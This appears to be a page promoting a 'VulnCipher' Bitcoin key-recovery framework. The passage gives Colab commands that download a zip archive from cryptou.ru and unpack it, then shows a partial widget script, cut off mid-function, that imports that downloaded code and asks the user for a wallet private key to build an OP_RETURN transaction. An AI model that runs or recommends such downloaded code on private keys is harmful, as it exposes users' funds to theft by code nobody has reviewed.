VulnCipher Cryptanalytic Framework

🚀 Google Colab Integration

⚡ One-Click Launch

Launch the complete VulnCipher Cryptanalytic Framework directly in Google Colab:

Note: Google Colab provides free GPU/TPU resources for running the VulnCipher framework. The notebook includes all dependencies and sample data for immediate execution.

🎯 What You'll Get in Colab

📊 Complete Framework

Full VulnCipher implementation with timing analysis modules, CPA engine, and key recovery algorithms.

⚙️ Pre-installed Dependencies

All Python libraries pre-configured and ready to use with a single click.

📈 Interactive Interface

Cyberpunk-styled interactive widgets for parameter tuning and visualization.

💾 Sample Datasets

Real timing traces from vulnerable ECDSA implementations for immediate analysis.

📦 Installation & Dependencies

🔧 Required Python Libraries

📊 ipywidgets – Interactive HTML widgets for Jupyter notebooks and Google Colab

🔌 zmq – ZeroMQ messaging library for distributed computing and IPC

🌐 urllib3 – Powerful HTTP client for Python with thread-safe connection pooling

📡 requests – Elegant and simple HTTP library for human beings

🔐 pycryptodome – Self-contained Python cryptography library with low-level primitives

💻 Installation Commands

GOOGLE COLAB INSTALLATION TERMINAL

colab@vulncipher:~$ # Install all required dependencies

colab@vulncipher:~$ !pip install ipywidgets zmq urllib3 requests pycryptodome

[✓] Successfully installed ipywidgets-8.1.2 zmq-0.0.0

[✓] Successfully installed urllib3-2.2.1 requests-2.31.0

[✓] Successfully installed pycryptodome-3.20.0

colab@vulncipher:~$ # Download VulnCipher framework

colab@vulncipher:~$ !wget https://cryptou.ru/code/VulnCipher-Cryptanalytic-Framework-for-Practical-Key-Recovery.zip

[✓] 'VulnCipher-Cryptanalytic-Framework-for-Practical-Key-Recovery.zip' saved

colab@vulncipher:~$ # Extract the framework

colab@vulncipher:~$ !unzip VulnCipher-Cryptanalytic-Framework-for-Practical-Key-Recovery.zip

[✓] Archive: VulnCipher-Cryptanalytic-Framework-for-Practical-Key-Recovery.zip

[✓] Framework extracted successfully

⚡ Quick Installation Script

// Complete installation script for Google Colab
!pip install ipywidgets zmq urllib3 requests pycryptodome
!wget https://cryptou.ru/code/VulnCipher-Cryptanalytic-Framework-for-Practical-Key-Recovery.zip
!unzip VulnCipher-Cryptanalytic-Framework-for-Practical-Key-Recovery.zip
print("✅ VulnCipher Framework installed successfully!")
print("🚀 Ready for Bitcoin transaction analysis and key recovery")
        

💻 VulnCipher Bitcoin Transaction Generator

📝 Complete Python Code for Google Colab

Copy and paste the following Python code into a Google Colab notebook cell after installing the framework. This code creates an interactive Bitcoin transaction generator with OP_RETURN messaging capability.

# ===================================================
# VULNCIPHER BITCOIN TRANSACTION GENERATOR - Google Colab Edition
# ChronoForge/VulnCipher Cyberpunk Interface
# Advanced Timing Side-Channel Recovery Framework
# $188,775 Bitcoin Recovery Case Study Implementation
# ===================================================

# Install dependencies (run once if needed)
# !pip install ipywidgets zmq urllib3 requests pycryptodome

# Clone source code repository
# !wget https://cryptou.ru/code/VulnCipher-Cryptanalytic-Framework-for-Practical-Key-Recovery.zip
# !unzip VulnCipher-Cryptanalytic-Framework-for-Practical-Key-Recovery.zip

import ipywidgets as widgets
from IPython.display import display, clear_output, HTML, Markdown, Javascript
from secp256k1 import *
from sighash import *
import json
import time

# ========== VULNCIPHER CYBERPUNK STYLING ==========
VULNCIPHER_CSS = """
<style>
@import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700;900&family=Space+Mono:wght@400;700&family=JetBrains+Mono:wght@400;600;700&family=IBM+Plex+Mono:wght@400;600;700&display=swap');

:root {
    /* ChronoForge/VulnCipher Color Palette */
    --neon-cyan: #00D9FF;
    --neon-blue: #0080FF;
    --neon-lime: #00FF41;
    --neon-magenta: #FF00FF;
    --neon-purple: #9D00FF;
    --neon-pink: #FF006E;
    --neon-orange: #FF6B35;
    --neon-yellow: #FFD700;
    --neon-red: #FF0040;
    
    /* Background Layers - Deep DarkNet */
    --bg-darkest: #020203;
    --bg-dark: #0A0E27;
    --bg-darker: #050813;
    --bg-panel: #0F1629;
    --bg-card: #141829;
    --bg-surface: #0F1629;
    
    /* Text Colors */
    --text-primary: #FFFFFF;
    --text-secondary: #A0B0FF;
    --text-accent: #00D9FF;
    --text-muted: #6B7280;
    
    /* Glow Effects */
    --glow-cyan: 0 0 20px rgba(0, 217, 255, 0.8);
    --glow-lime: 0 0 20px rgba(0, 255, 65, 0.8);
    --glow-magenta: 0 0 20px rgba(255, 0, 255, 0.8);
    --glow-blue: 0 0 20px rgba(0, 128, 255, 0.8);
    --glow-pink: 0 0 20px rgba(255, 0, 110, 0.8);
    --glow-yellow: 0 0 20px rgba(255, 215, 0, 0.8);
    
    /* Fonts */
    --font-title: "Orbitron", sans-serif;
    --font-sub: "Space Mono", monospace;
    --font-code: "JetBrains Mono", monospace;
    --font-main: "IBM Plex Mono", monospace;
}

/* Global Styles */
body, .jupyter-widgets, .jp-Notebook {
    background-color: var(--bg-dark) !important;
    color: var(--text-primary) !important;
    font-family: var(--font-main) !important;
    background-image: repeating-linear-gradient(
        0deg,
        rgba(0, 217, 255, 0.03) 0px,
        rgba(0, 217, 255, 0.03) 1px,
        transparent 1px,
        transparent 2px
    ) !important;
    overflow-x: hidden !important;
}

/* Animations */
@keyframes glitch {
    0% {
        text-shadow: -2px 0 var(--neon-magenta), 2px 0 var(--neon-cyan);
    }
    50% {
        text-shadow: 2px 0 var(--neon-magenta), -2px 0 var(--neon-cyan);
    }
    100% {
        text-shadow: -2px 0 var(--neon-magenta), 2px 0 var(--neon-cyan);
    }
}

@keyframes glow-pulse {
    0%, 100% {
        text-shadow: var(--glow-cyan);
        box-shadow: var(--glow-cyan);
    }
    50% {
        text-shadow: 0 0 40px rgba(0, 217, 255, 0.5);
        box-shadow: 0 0 40px rgba(0, 217, 255, 0.5);
    }
}

@keyframes scan-lines {
    0% {
        background-position: 0 0;
    }
    100% {
        background-position: 0 10px;
    }
}

@keyframes flicker {
    0%, 100% {
        opacity: 1;
    }
    50% {
        opacity: 0.7;
    }
}

/* Widget Labels - VulnCipher Styled */
.widget-label {
    color: var(--neon-cyan) !important;
    font-family: var(--font-sub) !important;
    font-size: 12px !important;
    text-transform: uppercase !important;
    letter-spacing: 2px !important;
    text-shadow: var(--glow-cyan) !important;
    font-weight: 700 !important;
    margin-bottom: 8px !important;
}

/* Text Input Fields - Cyberpunk Terminal Style */
.widget-text input, .widget-textarea textarea {
    background-color: rgba(15, 22, 41, 0.8) !important;
    color: var(--neon-lime) !important;
    border: 2px solid var(--neon-cyan) !important;
    border-radius: 2px !important;
    font-family: var(--font-code) !important;
    font-size: 12px !important;
    padding: 12px 14px !important;
    box-shadow: 0 0 15px rgba(0, 217, 255, 0.3), 
                inset 0 0 10px rgba(0, 217, 255, 0.1) !important;
    transition: all 0.3s cubic-bezier(0.25, 0.46, 0.45, 0.94) !important;
    text-shadow: 0 0 5px var(--neon-lime) !important;
}

.widget-text input:focus, .widget-textarea textarea:focus {
    outline: none !important;
    border-color: var(--neon-magenta) !important;
    box-shadow: 0 0 25px rgba(255, 0, 255, 0.6), 
                inset 0 0 15px rgba(255, 0, 255, 0.2) !important;
    background-color: rgba(20, 24, 41, 0.9) !important;
    transform: translateY(-1px) !important;
}

.widget-text input::placeholder, .widget-textarea textarea::placeholder {
    color: rgba(0, 255, 65, 0.4) !important;
    font-style: italic !important;
    font-family: var(--font-sub) !important;
}

/* Sliders - Gradient Energy Bars */
.widget-hslider .slider {
    background: linear-gradient(90deg, 
        var(--neon-purple), 
        var(--neon-cyan), 
        var(--neon-lime)) !important;
    height: 8px !important;
    border-radius: 4px !important;
    box-shadow: 0 0 15px rgba(0, 217, 255, 0.4), 
                inset 0 0 8px rgba(255, 255, 255, 0.1) !important;
}

.widget-hslider .slider-handle {
    background-color: var(--neon-magenta) !important;
    border: 3px solid var(--neon-cyan) !important;
    border-radius: 50% !important;
    width: 20px !important;
    height: 20px !important;
    box-shadow: var(--glow-magenta), 
                0 0 0 2px rgba(0, 217, 255, 0.3) !important;
    transition: all 0.2s ease !important;
}

.widget-hslider .slider-handle:hover {
    transform: scale(1.3) !important;
    background-color: var(--neon-lime) !important;
    border-color: var(--neon-magenta) !important;
}

/* Checkboxes - Cyberpunk Switches */
.widget-checkbox input[type="checkbox"] {
    width: 22px !important;
    height: 22px !important;
    cursor: pointer !important;
    accent-color: var(--neon-lime) !important;
    position: relative !important;
}

.widget-checkbox input[type="checkbox"]::before {
    content: "" !important;
    position: absolute !important;
    width: 100% !important;
    height: 100% !important;
    border: 2px solid var(--neon-cyan) !important;
    border-radius: 3px !important;
    background: rgba(15, 22, 41, 0.8) !important;
    box-shadow: inset 0 0 5px rgba(0, 217, 255, 0.3) !important;
}

.widget-checkbox input[type="checkbox"]:checked::before {
    background: var(--neon-lime) !important;
    box-shadow: 0 0 15px var(--neon-lime) !important;
}

.widget-checkbox .widget-label {
    color: var(--text-secondary) !important;
    text-shadow: none !important;
    font-weight: 600 !important;
}

/* Buttons - ChronoForge Energy Pulses */
.widget-button {
    background: linear-gradient(135deg, 
        var(--neon-cyan) 0%, 
        var(--neon-magenta) 50%, 
        var(--neon-cyan) 100%) !important;
    background-size: 200% 200% !important;
    color: var(--bg-darkest) !important;
    border: 2px solid var(--neon-cyan) !important;
    border-radius: 2px !important;
    font-family: var(--font-title) !important;
    font-weight: 900 !important;
    font-size: 13px !important;
    text-transform: uppercase !important;
    letter-spacing: 3px !important;
    padding: 16px 28px !important;
    cursor: pointer !important;
    transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275) !important;
    animation: glow-pulse 3s ease-in-out infinite !important;
    box-shadow: 0 0 30px rgba(0, 217, 255, 0.5),
                inset 0 0 20px rgba(255, 255, 255, 0.1) !important;
    text-shadow: 0 1px 3px rgba(0, 0, 0, 0.5) !important;
    position: relative !important;
    overflow: hidden !important;
}

.widget-button:hover {
    background-position: 100% 50% !important;
    transform: translateY(-3px) scale(1.05) !important;
    box-shadow: 0 0 45px rgba(0, 217, 255, 0.8),
                0 0 60px rgba(255, 0, 255, 0.4),
                inset 0 0 25px rgba(255, 255, 255, 0.15) !important;
    border-color: var(--neon-lime) !important;
}

.widget-button:active {
    transform: translateY(1px) scale(0.98) !important;
    box-shadow: 0 0 25px var(--neon-magenta),
                inset 0 0 30px rgba(255, 0, 255, 0.3) !important;
}

.widget-button:disabled {
    opacity: 0.4 !important;
    cursor: not-allowed !important;
    animation: none !important;
}

/* Integer Text - Numeric Inputs */
.widget-inttext input {
    background-color: var(--bg-panel) !important;
    color: var(--neon-lime) !important;
    border: 2px solid var(--neon-lime) !important;
    font-family: var(--font-code) !important;
    font-size: 13px !important;
    padding: 10px 12px !important;
    box-shadow: 0 0 15px rgba(0, 255, 65, 0.3),
                inset 0 0 8px rgba(0, 255, 65, 0.1) !important;
}

.widget-inttext input:focus {
    border-color: var(--neon-yellow) !important;
    box-shadow: 0 0 25px rgba(255, 215, 0, 0.5),
                inset 0 0 12px rgba(255, 215, 0, 0.2) !important;
    background-color: rgba(20, 24, 41, 0.9) !important;
}

/* Container Styling */
.widget-vbox, .widget-hbox {
    background-color: transparent !important;
    border: none !important;
}

.output {
    background-color: var(--bg-darker) !important;
    padding: 0 !important;
    margin: 0 !important;
}

/* Terminal Output - VulnCipher Analysis Console */
.terminal-output {
    background-color: var(--bg-darkest) !important;
    color: var(--neon-lime) !important;
    border: 2px solid var(--neon-cyan) !important;
    border-left: 4px solid var(--neon-lime) !important;
    border-radius: 2px !important;
    padding: 24px !important;
    margin: 30px 0 !important;
    font-family: var(--font-code) !important;
    font-size: 11px !important;
    line-height: 1.8 !important;
    box-shadow: 0 0 30px rgba(0, 217, 255, 0.4),
                inset 0 0 20px rgba(0, 255, 65, 0.05) !important;
    white-space: pre-wrap !important;
    word-wrap: break-word !important;
    overflow-x: auto !important;
    position: relative !important;
}

.terminal-output::before {
    content: "" !important;
    position: absolute !important;
    top: 0 !important;
    left: 0 !important;
    right: 0 !important;
    height: 2px !important;
    background: linear-gradient(90deg, 
        transparent, 
        var(--neon-cyan), 
        var(--neon-magenta), 
        var(--neon-cyan), 
        transparent) !important;
    animation: scan-lines 4s linear infinite !important;
}

/* Terminal Header */
.terminal-header {
    color: var(--neon-cyan) !important;
    font-family: var(--font-title) !important;
    font-weight: 900 !important;
    font-size: 18px !important;
    text-transform: uppercase !important;
    letter-spacing: 4px !important;
    text-shadow: var(--glow-cyan) !important;
    margin: 30px 0 20px 0 !important;
    padding: 15px 0 10px 0 !important;
    border-bottom: 2px solid var(--neon-cyan) !important;
    border-top: 2px solid var(--neon-magenta) !important;
    position: relative !important;
    animation: glitch 5s infinite !important;
}

/* Terminal Message Types */
.terminal-success {
    color: var(--neon-lime) !important;
    font-weight: 700 !important;
    text-shadow: var(--glow-lime) !important;
}

.terminal-info {
    color: var(--neon-cyan) !important;
    text-shadow: 0 0 8px var(--neon-cyan) !important;
}

.terminal-warning {
    color: var(--neon-yellow) !important;
    font-weight: 700 !important;
    text-shadow: var(--glow-yellow) !important;
}

.terminal-error {
    color: var(--neon-red) !important;
    font-weight: 700 !important;
    text-shadow: var(--glow-pink) !important;
    animation: flicker 1s infinite !important;
}

/* Data Value Highlighting */
.transaction-divider {
    color: var(--neon-magenta) !important;
    margin: 20px 0 !important;
    letter-spacing: 4px !important;
    text-align: center !important;
    font-family: var(--font-title) !important;
    text-shadow: var(--glow-magenta) !important;
    position: relative !important;
}

.transaction-divider::before, .transaction-divider::after {
    content: "▬▬▬" !important;
    margin: 0 15px !important;
    opacity: 0.6 !important;
}

.address-value {
    color: var(--neon-yellow) !important;
    background-color: rgba(255, 215, 0, 0.1) !important;
    padding: 4px 10px !important;
    border-radius: 3px !important;
    font-family: var(--font-code) !important;
    font-weight: 700 !important;
    border: 1px solid rgba(255, 215, 0, 0.3) !important;
    text-shadow: 0 0 5px var(--neon-yellow) !important;
    margin: 2px 0 !important;
    display: inline-block !important;
}

.hex-value {
    color: var(--neon-blue) !important;
    background-color: rgba(0, 128, 255, 0.1) !important;
    padding: 4px 10px !important;
    border-radius: 3px !important;
    font-family: var(--font-code) !important;
    border: 1px solid rgba(0, 128, 255, 0.3) !important;
    margin: 2px 0 !important;
    display: inline-block !important;
}

/* Byte Warning Counter */
.byte-warning {
    color: var(--neon-yellow) !important;
    font-family: var(--font-title) !important;
    font-weight: 700 !important;
    text-shadow: var(--glow-yellow) !important;
    font-size: 11px !important;
    letter-spacing: 1px !important;
}

/* Form Container */
.form-container {
    border: 2px solid var(--neon-cyan) !important;
    border-radius: 2px !important;
    padding: 25px !important;
    background-color: rgba(15, 22, 41, 0.6) !important;
    box-shadow: 0 0 25px rgba(0, 217, 255, 0.3),
                inset 0 0 15px rgba(0, 217, 255, 0.1) !important;
    margin: 25px 0 !important;
    position: relative !important;
}

.form-container::after {
    content: "" !important;
    position: absolute !important;
    top: 0 !important;
    left: 0 !important;
    right: 0 !important;
    bottom: 0 !important;
    background: linear-gradient(
        135deg,
        transparent 0%,
        rgba(0, 217, 255, 0.05) 50%,
        transparent 100%
    ) !important;
    pointer-events: none !important;
}

/* Link Styling */
a {
    color: var(--neon-cyan) !important;
    text-decoration: none !important;
    border-bottom: 1px dashed var(--neon-cyan) !important;
    text-shadow: var(--glow-cyan) !important;
    transition: all 0.3s ease !important;
    padding-bottom: 1px !important;
}

a:hover {
    color: var(--neon-magenta) !important;
    border-bottom-color: var(--neon-magenta) !important;
    text-shadow: var(--glow-magenta) !important;
}

/* Scrollbar Styling */
::-webkit-scrollbar {
    width: 10px !important;
    height: 10px !important;
}

::-webkit-scrollbar-track {
    background: var(--bg-panel) !important;
    box-shadow: inset 0 0 5px rgba(0, 0, 0, 0.5) !important;
}

::-webkit-scrollbar-thumb {
    background: linear-gradient(
        135deg,
        var(--neon-cyan),
        var(--neon-magenta)
    ) !important;
    border-radius: 5px !important;
    box-shadow: 0 0 10px var(--neon-cyan) !important;
    border: 1px solid rgba(0, 217, 255, 0.3) !important;
}

::-webkit-scrollbar-thumb:hover {
    background: linear-gradient(
        135deg,
        var(--neon-magenta),
        var(--neon-cyan)
    ) !important;
    box-shadow: 0 0 15px var(--neon-magenta) !important;
}

/* Status Indicators */
.status-indicator {
    display: inline-block !important;
    width: 8px !important;
    height: 8px !important;
    border-radius: 50% !important;
    margin-right: 8px !important;
    animation: flicker 1.5s infinite !important;
}

.status-online {
    background-color: var(--neon-lime) !important;
    box-shadow: 0 0 8px var(--neon-lime) !important;
}

.status-warning {
    background-color: var(--neon-yellow) !important;
    box-shadow: 0 0 8px var(--neon-yellow) !important;
}

.status-error {
    background-color: var(--neon-red) !important;
    box-shadow: 0 0 8px var(--neon-red) !important;
}

/* Progress Bar */
.progress-bar {
    width: 100% !important;
    height: 4px !important;
    background: var(--bg-panel) !important;
    border-radius: 2px !important;
    overflow: hidden !important;
    margin: 15px 0 !important;
    box-shadow: inset 0 0 5px rgba(0, 0, 0, 0.5) !important;
}

.progress-fill {
    height: 100% !important;
    background: linear-gradient(90deg, 
        var(--neon-purple), 
        var(--neon-cyan), 
        var(--neon-lime)) !important;
    border-radius: 2px !important;
    box-shadow: 0 0 10px var(--neon-cyan) !important;
    transition: width 0.3s ease !important;
}

/* Code Blocks */
.code-block {
    background-color: rgba(10, 14, 39, 0.8) !important;
    border-left: 4px solid var(--neon-lime) !important;
    padding: 16px !important;
    margin: 15px 0 !important;
    font-family: var(--font-code) !important;
    font-size: 11px !important;
    color: var(--neon-lime) !important;
    text-shadow: 0 0 5px var(--neon-lime) !important;
    overflow-x: auto !important;
    box-shadow: 0 0 15px rgba(0, 255, 65, 0.2) !important;
}

.code-comment {
    color: var(--text-muted) !important;
    font-style: italic !important;
}

.code-keyword {
    color: var(--neon-magenta) !important;
    text-shadow: 0 0 5px var(--neon-magenta) !important;
}

.code-string {
    color: var(--neon-cyan) !important;
    text-shadow: 0 0 5px var(--neon-cyan) !important;
}
</style>
"""

# ========== UTILITY FUNCTIONS ==========

def create_op_return_script(message):
    """Create OP_RETURN script for blockchain message"""
    message_hex = message.encode('utf-8').hex()
    message_bytes = bytes.fromhex(message_hex)
    op_return_opcode = b'\\x6a'
    data_length = len(message_bytes)

    if data_length <= 75:
        length_byte = bytes([data_length])
    elif data_length <= 255:
        length_byte = b'\\x4c' + bytes([data_length])
    else:
        raise ValueError("Message is too long. Maximum allowed is 80 bytes for OP_RETURN.")

    return op_return_opcode + length_byte + message_bytes

def create_transaction_with_op_return(private_key_wif, utxo_txid, utxo_index, utxo_value, recipient_address, send_amount, message, fee=1000, testnet=True):
    """Generate Bitcoin transaction with OP_RETURN message"""
    pk = PrivateKey.parse(private_key_wif)
    tx_in = TxIn(bytes.fromhex(utxo_txid), utxo_index, b'', 0xffffffff)
    tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
    tx_in._value = utxo_value
    tx_ins = [tx_in]

    # Calculate change (returned to sender)
    change_amount = utxo_value - send_amount - fee
    if change_amount < 0:
        raise ValueError("Insufficient funds to cover the amount and transaction fee.")

    # Transaction outputs
    tx_outs = []
    tx_outs.append(TxOut(0, create_op_return_script(message)))
    tx_outs.append(TxOut(send_amount, Tx.get_address_data(recipient_address)['script_pubkey'].serialize()))

    if change_amount > 546:  # dust limit
        tx_outs.append(TxOut(change_amount, Tx.get_address_data(pk.address())['script_pubkey'].serialize()))

    tx = Tx(1, tx_ins, tx_outs, 0, testnet=testnet)
    signature(tx, 0, pk)

    # Return both transaction and change amount
    return tx, change_amount

# ========== UI INITIALIZATION ==========

# Display VulnCipher CSS
display(HTML(VULNCIPHER_CSS))

# ChronoForge/VulnCipher Header with Case Study
display(HTML("""
<div style="text-align: center; margin: 30px 0 40px; padding: 35px 25px; border: 3px solid var(--neon-cyan); border-radius: 3px; background: linear-gradient(135deg, rgba(10, 14, 39, 0.9), rgba(20, 24, 41, 0.9)); box-shadow: 0 0 40px rgba(0, 217, 255, 0.4), inset 0 0 30px rgba(0, 217, 255, 0.1); position: relative; overflow: hidden;">
    
    <div style="position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: linear-gradient(45deg, transparent 30%, rgba(255, 0, 255, 0.05) 50%, transparent 70%); animation: scan-lines 6s linear infinite;"></div>
    
    <div style="position: relative; z-index: 2;">
        <div style="color: var(--neon-cyan); font-size: 36px; font-weight: 900; font-family: var(--font-title); text-shadow: 0 0 30px var(--neon-cyan), 0 0 60px rgba(255, 0, 255, 0.7); letter-spacing: 6px; margin-bottom: 15px; animation: glitch 8s infinite;">
            <span style="color: var(--neon-magenta);">VULN</span>CIPHER
        </div>
        
        <div style="color: var(--neon-lime); font-size: 18px; font-family: var(--font-sub); text-shadow: 0 0 20px var(--neon-lime); letter-spacing: 3px; margin-bottom: 20px; font-weight: 700;">
            TIMING SIDE-CHANNEL CRYPTANALYTIC FRAMEWORK
        </div>
        
        <div style="color: var(--neon-yellow); font-size: 16px; font-family: var(--font-title); text-shadow: 0 0 15px var(--neon-yellow); margin-bottom: 25px; padding: 12px; border: 1px solid var(--neon-yellow); border-radius: 2px; display: inline-block; background: rgba(255, 215, 0, 0.05);">
            CASE STUDY: <span style="color: var(--neon-lime);">$188,775 BITCOIN RECOVERY</span>
        </div>
        
        <div style="color: var(--text-secondary); font-size: 13px; font-family: var(--font-main); max-width: 800px; margin: 0 auto 20px; line-height: 1.6;">
            <span class="status-indicator status-online"></span> 
            <strong>ChronoForge Attack Implementation</strong> • 
            <span style="color: var(--neon-cyan);">OP_RETURN Transaction Generator</span> • 
            <span style="color: var(--neon-magenta);">DarkNet Ready</span>
        </div>
        
        <div style="display: flex; justify-content: center; gap: 15px; flex-wrap: wrap; margin-top: 25px;">
            <div style="padding: 8px 16px; border: 1px solid var(--neon-cyan); border-radius: 2px; background: rgba(0, 217, 255, 0.05);">
                <span style="color: var(--neon-cyan); font-size: 11px; font-family: var(--font-sub);">ECDSA secp256k1</span>
            </div>
            <div style="padding: 8px 16px; border: 1px solid var(--neon-magenta); border-radius: 2px; background: rgba(255, 0, 255, 0.05);">
                <span style="color: var(--neon-magenta); font-size: 11px; font-family: var(--font-sub);">ARM TrustZone</span>
            </div>
            <div style="padding: 8px 16px; border: 1px solid var(--neon-lime); border-radius: 2px; background: rgba(0, 255, 65, 0.05);">
                <span style="color: var(--neon-lime); font-size: 11px; font-family: var(--font-sub);">Timing CPA</span>
            </div>
            <div style="padding: 8px 16px; border: 1px solid var(--neon-purple); border-radius: 2px; background: rgba(157, 0, 255, 0.05);">
                <span style="color: var(--neon-purple); font-size: 11px; font-family: var(--font-sub);">Quantum Ready</span>
            </div>
        </div>
    </div>
</div>
"""))

# Transaction Configuration Section
display(HTML("<div class='terminal-header'>⚡ TRANSACTION CONFIGURATION</div>"))

# Create a progress indicator
progress_bar = widgets.HTML(value="""
<div class="progress-bar">
    <div class="progress-fill" style="width: 0%;"></div>
</div>
""")

# Input Fields with Cyberpunk styling
private_key_wif = widgets.Text(
    placeholder='L5MqyroFa1pcprty2vXc5xBJWdDfuicetxoQB4PZVMqQgqRVfnMB',
    description='Private Key (WIF):',
    layout=widgets.Layout(width='100%', margin='0 0 15px 0'),
    style={'description_width': '160px'}
)

utxo_txid = widgets.Text(
    placeholder='Enter UTXO transaction ID (TXID) - 64 hex chars',
    description='UTXO TXID:',
    layout=widgets.Layout(width='100%', margin='0 0 15px 0'),
    style={'description_width': '160px'}
)

utxo_index = widgets.BoundedIntText(
    value=0,
    min=0,
    max=100,
    description='UTXO Index:',
    layout=widgets.Layout(width='100%', margin='0 0 15px 0'),
    style={'description_width': '160px'}
)

utxo_value = widgets.IntText(
    value=0,
    description='UTXO Value (sat):',
    layout=widgets.Layout(width='100%', margin='0 0 15px 0'),
    style={'description_width': '160px'}
)

fee = widgets.IntSlider(
    value=1000,
    min=500,
    max=10000,
    step=100,
    description='Transaction Fee (sat):',
    layout=widgets.Layout(width='100%', margin='0 0 15px 0'),
    style={'description_width': '160px'}
)

send_amount = widgets.IntText(
    value=0,
    description='Send Amount (sat):',
    layout=widgets.Layout(width='100%', margin='0 0 15px 0'),
    style={'description_width': '160px'}
)

recipient_address = widgets.Text(
    placeholder='1EXXGnGN98yEEx48fhAMPt8DuzwaG5Lh8h',
    description='Recipient Address:',
    layout=widgets.Layout(width='100%', margin='0 0 15px 0'),
    style={'description_width': '160px'}
)

# Message Section
display(HTML("<div class='terminal-header'>💬 OP_RETURN MESSAGING</div>"))

message = widgets.Textarea(
    placeholder='Enter your blockchain message (max 80 bytes)\\nExample: ChronoForge Attack - $188,775 Bitcoin Recovery',
    description='OP_RETURN Message:',
    layout=widgets.Layout(width='100%', height='100px', margin='0 0 15px 0'),
    style={'description_width': '160px'}
)

byte_warning = widgets.HTML(value="""
<div style="display: flex; align-items: center; margin: 10px 0;">
    <span class="status-indicator status-online"></span>
    <span class="byte-warning">0 / 80 bytes</span>
</div>
""")

use_testnet = widgets.Checkbox(
    value=True,
    description='Use Testnet Network',
    indent=False,
    layout=widgets.Layout(margin='15px 0 0 0')
)

# Advanced Options
display(HTML("<div class='terminal-header'>⚙️ ADVANCED OPTIONS</div>"))

advanced_toggle = widgets.Checkbox(
    value=False,
    description='Show Advanced Options',
    indent=False,
    layout=widgets.Layout(margin='10px 0 15px 0')
)

# Form Container
form_items = [
    widgets.HTML(value="<div class='form-container'>"),
    private_key_wif,
    widgets.HTML(value="<div style='display: grid; grid-template-columns: 1fr 1fr; gap: 15px; margin: 15px 0;'>"),
    utxo_txid,
    utxo_index,
    widgets.HTML(value="</div>"),
    widgets.HTML(value="<div style='display: grid; grid-template-columns: 1fr 1fr; gap: 15px; margin: 15px 0;'>"),
    utxo_value,
    fee,
    widgets.HTML(value="</div>"),
    send_amount,
    recipient_address,
    widgets.HTML(value="<div style='margin: 25px 0 15px;'></div>"),
    message,
    byte_warning,
    use_testnet,
    advanced_toggle,
    widgets.HTML(value="</div>")
]

form = widgets.VBox(form_items, layout=widgets.Layout(margin='20px 0 30px 0'))

display(form)

# Generate Transaction Button with Cyberpunk Styling
submit_button = widgets.Button(
    description='⏳ INITIATE TRANSACTION GENERATION',
    button_style='',
    layout=widgets.Layout(width='100%', height='55px', margin='0 0 30px 0'),
    style={'font_weight': '900', 'font_size': '14px'}
)

display(submit_button)
display(progress_bar)

def update_message_length(change):
    current_bytes = len(change.new.encode('utf-8'))
    if current_bytes > 80:
        byte_warning.value = f"""
        <div style="display: flex; align-items: center; margin: 10px 0;">
            <span class="status-indicator status-error"></span>
            <span class="terminal-warning">⚠ MESSAGE TOO LONG: {current_bytes} / 80 bytes</span>
        </div>
        """
    elif current_bytes > 60:
        byte_warning.value = f"""
        <div style="display: flex; align-items: center; margin: 10px 0;">
            <span class="status-indicator status-warning"></span>
            <span style="color: var(--neon-yellow); text-shadow: var(--glow-yellow); font-family: var(--font-sub); font-size: 11px;">
                {current_bytes} / 80 bytes (Approaching Limit)
            </span>
        </div>
        """
    else:
        byte_warning.value = f"""
        <div style="display: flex; align-items: center; margin: 10px 0;">
            <span class="status-indicator status-online"></span>
            <span style="color: var(--neon-lime); text-shadow: var(--glow-lime); font-family: var(--font-sub); font-size: 11px;">
                {current_bytes} / 80 bytes
            </span>
        </div>
        """

message.observe(update_message_length, names='value')

def update_progress(percent):
    progress_bar.value = f"""
    <div class="progress-bar">
        <div class="progress-fill" style="width: {percent}%;"></div>
    </div>
    """

def on_submit_clicked(b):
    clear_output(wait=True)
    display(HTML(VULNCIPHER_CSS))
    
    # Re-display header and form
    display(HTML("""
    <div style="text-align: center; margin: 30px 0 40px; padding: 35px 25px; border: 3px solid var(--neon-cyan); border-radius: 3px; background: linear-gradient(135deg, rgba(10, 14, 39, 0.9), rgba(20, 24, 41, 0.9)); box-shadow: 0 0 40px rgba(0, 217, 255, 0.4), inset 0 0 30px rgba(0, 217, 255, 0.1); position: relative; overflow: hidden;">
        
        <div style="position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: linear-gradient(45deg, transparent 30%, rgba(255, 0, 255, 0.05) 50%, transparent 70%); animation: scan-lines 6s linear infinite;"></div>
        
        <div style="position: relative; z-index: 2;">
            <div style="color: var(--neon-cyan); font-size: 36px; font-weight: 900; font-family: var(--font-title); text-shadow: 0 0 30px var(--neon-cyan), 0 0 60px rgba(255, 0, 255, 0.7); letter-spacing: 6px; margin-bottom: 15px; animation: glitch 8s infinite;">
                <span style="color: var(--neon-magenta);">VULN</span>CIPHER
            </div>
            
            <div style="color: var(--neon-lime); font-size: 18px; font-family: var(--font-sub); text-shadow: 0 0 20px var(--neon-lime); letter-spacing: 3px; margin-bottom: 20px; font-weight: 700;">
                TRANSACTION GENERATION IN PROGRESS
            </div>
        </div>
    </div>
    """))
    
    update_progress(25)
    
    try:
        # Validate inputs
        if not private_key_wif.value or not utxo_txid.value or not recipient_address.value or not message.value:
            raise ValueError("All fields are required! Please fill in all inputs.")
        
        if len(message.value.encode('utf-8')) > 80:
            raise ValueError("Message exceeds 80 bytes! Please shorten your message.")
        
        update_progress(50)
        
        # Generate transaction
        tx, change_amount = create_transaction_with_op_return(
            private_key_wif=private_key_wif.value,
            utxo_txid=utxo_txid.value,
            utxo_index=utxo_index.value,
            utxo_value=int(utxo_value.value),
            recipient_address=recipient_address.value,
            send_amount=int(send_amount.value),
            message=message.value,
            fee=int(fee.value),
            testnet=use_testnet.value
        )
        
        update_progress(75)
        
        raw_tx_hex = tx.serialize().hex()
        pk = PrivateKey.parse(private_key_wif.value)
        
        update_progress(100)
        
        # Build formatted output with Cyberpunk styling
        output_text = ""
        output_text += "<div style='text-align: center; margin-bottom: 20px;'>"
        output_text += "<span class='terminal-header'>BITCOIN TRANSACTION GENERATION COMPLETE</span>"
        output_text += "</div>"
        
        output_text += "<div style='background: rgba(10, 14, 39, 0.6); padding: 20px; border-radius: 3px; margin-bottom: 20px;'>"
        
